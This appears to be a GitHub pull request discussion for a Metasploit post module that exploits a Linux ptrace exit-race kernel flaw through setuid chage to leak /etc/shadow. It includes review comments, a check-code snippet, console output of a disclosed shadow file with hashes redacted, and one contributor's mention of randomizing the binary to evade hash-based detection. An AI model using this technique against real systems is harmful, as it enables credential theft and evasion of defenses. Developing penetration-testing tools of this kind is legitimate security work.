ptrace Exit-Race#21472
Conversation
|
Exploit modules execute a payload. Since this is a file content disclosure it should be rewritten as a post module |
|
Modules in |
ptrace_exit_race1.mp4Updated DescriptionCVE-2026-46333 is a race condition vulnerability in the Linux kernel's The module targets The module:
This module performs information disclosure only and does not create a Documentation has also been added under:
Verification
TestingTested successfully on:
The module successfully disclosed NoteIn the video POC you can see that the module does not work everytime, i.e. you have to configure the RACE_ROUNDS according to your need. The file disclosure can be after 500 times(default), 1000 times or more as per the option set. |
|
I just added a pull request to your repo. The changes add entropy to the target binary via a random int variable. This thwarts hashed based detection of the exploit. Additionally, I added a |
@gardnerapp Thanks for the review. I’m not currently seeing the PR though. Could you send the PR link? |
|
|
||
| if output.include?('$') | ||
|
|
||
| print_good('Successfully disclosed /etc/shadow') |
There was a problem hiding this comment.
The post/linux/gather/hashdump has an #unshadow method that it uses to log the the data to the database. It would be really beneficial to follow the precedence set by that module for how /etc/shadow should be handled. Feel free to copy paste that method into this module (include a note of where you took it from) since the other instances of #unshadow in the BSD and Solaris modules are slightly different.
Use that #unshadow method to log the creds to the database, and then use the same #store_loot arguments as applicable. (shadow.tx and Linux Password Shadow File, etc.)
There was a problem hiding this comment.
This comment wasn't addressed. The stored file in loot is still shadow.txt not shadow.tx as well as the stored creds aren't consistent when they should be since the result of a successful module run is leaking the shadow file.
Your module outputs:
msf post(linux/gather/cve_2026_46333_chage) > run
[*] Detected kernel version: 6.8.0-111-generic
[!] ptrace_scope=1 may reduce exploit reliability
[*] Writing exploit source to /tmp/.qfMLXA.c
[*] Compiling exploit payload
[*] Launching race with 500 attempts
[+] Successfully disclosed /etc/shadow
[+] Logged shadow credential for systemd-network
[+] Logged shadow credential for systemd-timesync
[+] Logged shadow credential for systemd-resolve
[+] Logged shadow credential for polkitd
[+] Logged shadow credential for fwupd-refresh
[+] Logged shadow credential for smcintyre
[+] Loot stored at: /home/smcintyre/.msf4/loot/20260528135345_prtesting_192.168.159.132_linux.shadow_891758.txt
[+] Stole fd 11 -> /etc/shadow
root:*:19836:0:99999:7:::
daemon:*:19836:0:99999:7:::
bin:*:19836:0:99999:7:::
sys:*:19836:0:99999:7:::
sync:*:19836:0:99999:7:::
games:*:19836:0:99999:7:::
man:*:19836:0:99999:7:::
lp:*:19836:0:99999:7:::
mail:*:19836:0:99999:7:::
news:*:19836:0:99999:7:::
uucp:*:19836:0:99999:7:::
proxy:*:19836:0:99999:7:::
www-data:*:19836:0:99999:7:::
backup:*:19836:0:99999:7:::
list:*:19836:0:99999:7:::
irc:*:19836:0:99999:7:::
_apt:*:19836:0:99999:7:::
nobody:*:19836:0:99999:7:::
systemd-network:!*:19836::::::
systemd-timesync:!*:19836::::::
dhcpcd:!:19836::::::
messagebus:!:19836::::::
systemd-resolve:!*:19836::::::
pollinate:!:19836::::::
polkitd:!*:19836::::::
syslog:!:19836::::::
uuidd:!:19836::::::
tcpdump:!:19836::::::
tss:!:19836::::::
landscape:!:19836::::::
fwupd-refresh:!*:19836::::::
usbmux:!:20343::::::
sshd:!:20343::::::
smcintyre:$6$[REDACTED]:20343:0:99999:7:::
[*] Post module execution completed
msf post(linux/gather/cve_2026_46333_chage) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.159.132 linux.shadow shadow.txt text/plain Linux Password Shadow File /home/smcintyre/.msf4/loot/20260528135345_prtesting_192.168.159.132_linux.shadow_891758.txt
msf post(linux/gather/cve_2026_46333_chage) > creds
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
368 192.168.159.132 systemd-network !* Nonreplayable hash des,bsdi,crypt
369 192.168.159.132 systemd-timesync !* Nonreplayable hash des,bsdi,crypt
370 192.168.159.132 systemd-resolve !* Nonreplayable hash des,bsdi,crypt
371 192.168.159.132 polkitd !* Nonreplayable hash des,bsdi,crypt
372 192.168.159.132 fwupd-refresh !* Nonreplayable hash des,bsdi,crypt
373 192.168.159.132 smcintyre $6$ (TRUNCATED) Nonreplayable hash sha512,crypt
msf post(linux/gather/cve_2026_46333_chage) >
The existing hashdump module outputs:
msf post(linux/gather/hashdump) > run
[+] polkitd:!*:991:991:User for polkitd:/:/usr/sbin/nologin
[+] smcintyre:$6$[REDACTED]:1000:1000:Spencer McIntyre:/home/smcintyre:/bin/bash
[+] Unshadowed Password File: /home/smcintyre/.msf4/loot/20260528135517_mastertesting_192.168.159.132_linux.hashes_427649.txt
[*] Post module execution completed
msf post(linux/gather/hashdump) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.159.132 linux.passwd passwd.tx text/plain Linux Passwd File /home/smcintyre/.msf4/loot/20260528135517_mastertesting_192.168.159.132_linux.passwd_006521.txt
192.168.159.132 linux.shadow shadow.tx text/plain Linux Password Shadow File /home/smcintyre/.msf4/loot/20260528135517_mastertesting_192.168.159.132_linux.shadow_949521.txt
192.168.159.132 linux.passwd.history opasswd.tx text/plain Linux Passwd History File /home/smcintyre/.msf4/loot/20260528135517_mastertesting_192.168.159.132_linux.passwd.his_816246.txt
192.168.159.132 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /home/smcintyre/.msf4/loot/20260528135517_mastertesting_192.168.159.132_linux.hashes_427649.txt
msf post(linux/gather/hashdump) > creds
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
376 192.168.159.132 polkitd !* Nonreplayable hash des,bsdi,crypt
377 192.168.159.132 smcintyre $6$ (TRUNCATED) Nonreplayable hash sha512,crypt
msf post(linux/gather/hashdump) >
I'm not terribly worried about what your module prints, that's up to you but what is reported and stored in the database should be the exact same given that these two modules are processing the exact same file. Without normalization on these fields in the database, there's not much point in storing the data because we can't act on it.
What I'd recommend to ensure this consistency is:
- Extract the
#unshadowmethod from the hashdump module - Extract the reporting into a method, something like
report_linux_hashdump(etc_passwd, etc_shadow)and include this without this which seems unrelated - Keep that opassword reporting in the original hashdump module
- Update both your module and the new hashdump module to use your new
report_linux_hashdumpmethod - Update your module to read
/etc/passwdto pass toreport_linux_hashdump, it's world readable anyways so you shouldn't need to re-run the exploit - If you're feeding this into AI, have it write specs for the new mixin too
|
@smcintyre-r7 Please review the changes |
|
Here it is sorry for the inconvenience, I am new to reviews. Let me know of any issues thank you. |
Hi @gardnerapp I reviewed your PR. The code that you were working on is older. You can view the new changes in the recent commit of the branch. |
| unless command_exists?('gcc') | ||
| return Exploit::CheckCode::Safe( | ||
| 'gcc is missing; exploit cannot compile' | ||
| ) | ||
| end | ||
|
|
||
| unless file?('/usr/bin/chage') | ||
| return Exploit::CheckCode::Safe( | ||
| 'chage target binary not present' | ||
| ) | ||
| end | ||
|
|
||
| unless setuid?('/usr/bin/chage') || stat('/usr/bin/chage').setgid? | ||
| return Exploit::CheckCode::Safe( | ||
| 'chage does not appear to have SGID/SUID permissions' | ||
| ) | ||
| end |
There was a problem hiding this comment.
These each need to be changed from "Safe" to "Unknown". We need to differentiate between "we can't exploit this" and "the target isn't vulnerable". All three of these cases are checking for our ability to exploit this target. The vulnerability in how the kernel handles ptrace is independent of these conditions.
|
|
||
| if output.include?('$') | ||
|
|
||
| print_good('Successfully disclosed /etc/shadow') |
There was a problem hiding this comment.
This comment wasn't addressed. The stored file in loot is still shadow.txt not shadow.tx as well as the stored creds aren't consistent when they should be since the result of a successful module run is leaking the shadow file.
Your module outputs:
msf post(linux/gather/cve_2026_46333_chage) > run
[*] Detected kernel version: 6.8.0-111-generic
[!] ptrace_scope=1 may reduce exploit reliability
[*] Writing exploit source to /tmp/.qfMLXA.c
[*] Compiling exploit payload
[*] Launching race with 500 attempts
[+] Successfully disclosed /etc/shadow
[+] Logged shadow credential for systemd-network
[+] Logged shadow credential for systemd-timesync
[+] Logged shadow credential for systemd-resolve
[+] Logged shadow credential for polkitd
[+] Logged shadow credential for fwupd-refresh
[+] Logged shadow credential for smcintyre
[+] Loot stored at: /home/smcintyre/.msf4/loot/20260528135345_prtesting_192.168.159.132_linux.shadow_891758.txt
[+] Stole fd 11 -> /etc/shadow
root:*:19836:0:99999:7:::
daemon:*:19836:0:99999:7:::
bin:*:19836:0:99999:7:::
sys:*:19836:0:99999:7:::
sync:*:19836:0:99999:7:::
games:*:19836:0:99999:7:::
man:*:19836:0:99999:7:::
lp:*:19836:0:99999:7:::
mail:*:19836:0:99999:7:::
news:*:19836:0:99999:7:::
uucp:*:19836:0:99999:7:::
proxy:*:19836:0:99999:7:::
www-data:*:19836:0:99999:7:::
backup:*:19836:0:99999:7:::
list:*:19836:0:99999:7:::
irc:*:19836:0:99999:7:::
_apt:*:19836:0:99999:7:::
nobody:*:19836:0:99999:7:::
systemd-network:!*:19836::::::
systemd-timesync:!*:19836::::::
dhcpcd:!:19836::::::
messagebus:!:19836::::::
systemd-resolve:!*:19836::::::
pollinate:!:19836::::::
polkitd:!*:19836::::::
syslog:!:19836::::::
uuidd:!:19836::::::
tcpdump:!:19836::::::
tss:!:19836::::::
landscape:!:19836::::::
fwupd-refresh:!*:19836::::::
usbmux:!:20343::::::
sshd:!:20343::::::
smcintyre:$6$[REDACTED]:20343:0:99999:7:::
[*] Post module execution completed
msf post(linux/gather/cve_2026_46333_chage) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.159.132 linux.shadow shadow.txt text/plain Linux Password Shadow File /home/smcintyre/.msf4/loot/20260528135345_prtesting_192.168.159.132_linux.shadow_891758.txt
msf post(linux/gather/cve_2026_46333_chage) > creds
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
368 192.168.159.132 systemd-network !* Nonreplayable hash des,bsdi,crypt
369 192.168.159.132 systemd-timesync !* Nonreplayable hash des,bsdi,crypt
370 192.168.159.132 systemd-resolve !* Nonreplayable hash des,bsdi,crypt
371 192.168.159.132 polkitd !* Nonreplayable hash des,bsdi,crypt
372 192.168.159.132 fwupd-refresh !* Nonreplayable hash des,bsdi,crypt
373 192.168.159.132 smcintyre $6$ (TRUNCATED) Nonreplayable hash sha512,crypt
msf post(linux/gather/cve_2026_46333_chage) >
The existing hashdump module outputs:
msf post(linux/gather/hashdump) > run
[+] polkitd:!*:991:991:User for polkitd:/:/usr/sbin/nologin
[+] smcintyre:$6$[REDACTED]:1000:1000:Spencer McIntyre:/home/smcintyre:/bin/bash
[+] Unshadowed Password File: /home/smcintyre/.msf4/loot/20260528135517_mastertesting_192.168.159.132_linux.hashes_427649.txt
[*] Post module execution completed
msf post(linux/gather/hashdump) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.159.132 linux.passwd passwd.tx text/plain Linux Passwd File /home/smcintyre/.msf4/loot/20260528135517_mastertesting_192.168.159.132_linux.passwd_006521.txt
192.168.159.132 linux.shadow shadow.tx text/plain Linux Password Shadow File /home/smcintyre/.msf4/loot/20260528135517_mastertesting_192.168.159.132_linux.shadow_949521.txt
192.168.159.132 linux.passwd.history opasswd.tx text/plain Linux Passwd History File /home/smcintyre/.msf4/loot/20260528135517_mastertesting_192.168.159.132_linux.passwd.his_816246.txt
192.168.159.132 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /home/smcintyre/.msf4/loot/20260528135517_mastertesting_192.168.159.132_linux.hashes_427649.txt
msf post(linux/gather/hashdump) > creds
Credentials
===========
id host origin service public private realm private_type JtR Format cracked_password
-- ---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
376 192.168.159.132 polkitd !* Nonreplayable hash des,bsdi,crypt
377 192.168.159.132 smcintyre $6$ (TRUNCATED) Nonreplayable hash sha512,crypt
msf post(linux/gather/hashdump) >
I'm not terribly worried about what your module prints, that's up to you but what is reported and stored in the database should be the exact same given that these two modules are processing the exact same file. Without normalization on these fields in the database, there's not much point in storing the data because we can't act on it.
What I'd recommend to ensure this consistency is:
- Extract the
#unshadowmethod from the hashdump module - Extract the reporting into a method, something like
report_linux_hashdump(etc_passwd, etc_shadow)and include this without this which seems unrelated - Keep that opassword reporting in the original hashdump module
- Update both your module and the new hashdump module to use your new
report_linux_hashdumpmethod - Update your module to read
/etc/passwdto pass toreport_linux_hashdump, it's world readable anyways so you shouldn't need to re-run the exploit - If you're feeding this into AI, have it write specs for the new mixin too
ptrace_exit_race.mp4
Description
This PR adds a new local Linux information disclosure module for CVE-2026-46333.
Fixes #21471
CVE-2026-46333 is a race condition vulnerability in the Linux kernel's
__ptrace_may_access()logic during process teardown. Duringdo_exit(), privileged file descriptors may remain accessible temporarily aftertask->mmbecomesNULL, allowing unprivileged local users to duplicate sensitive file descriptors usingpidfd_getfd(2).The module targets
/usr/bin/chageand attempts to disclose/etc/shadowby racing the process teardown window repeatedly.The module:
gcc,/usr/bin/chage,/etc/shadowcontents as loot,This module performs information disclosure only and does not create a new session.
Documentation has also been added under:
documentation/modules/exploit/linux/local/cve_2026_46333_chage.mdVerification
msfconsoleuse exploit/linux/local/cve_2026_46333_chageset SESSION <session_id>RACE_ROUNDScheckrun/etc/shadowcontents are disclosedTesting
Tested successfully on:
6.12.85+deb13-amd64The module successfully disclosed
/etc/shadowand stored the contents as Metasploit loot.I have attached a POC video.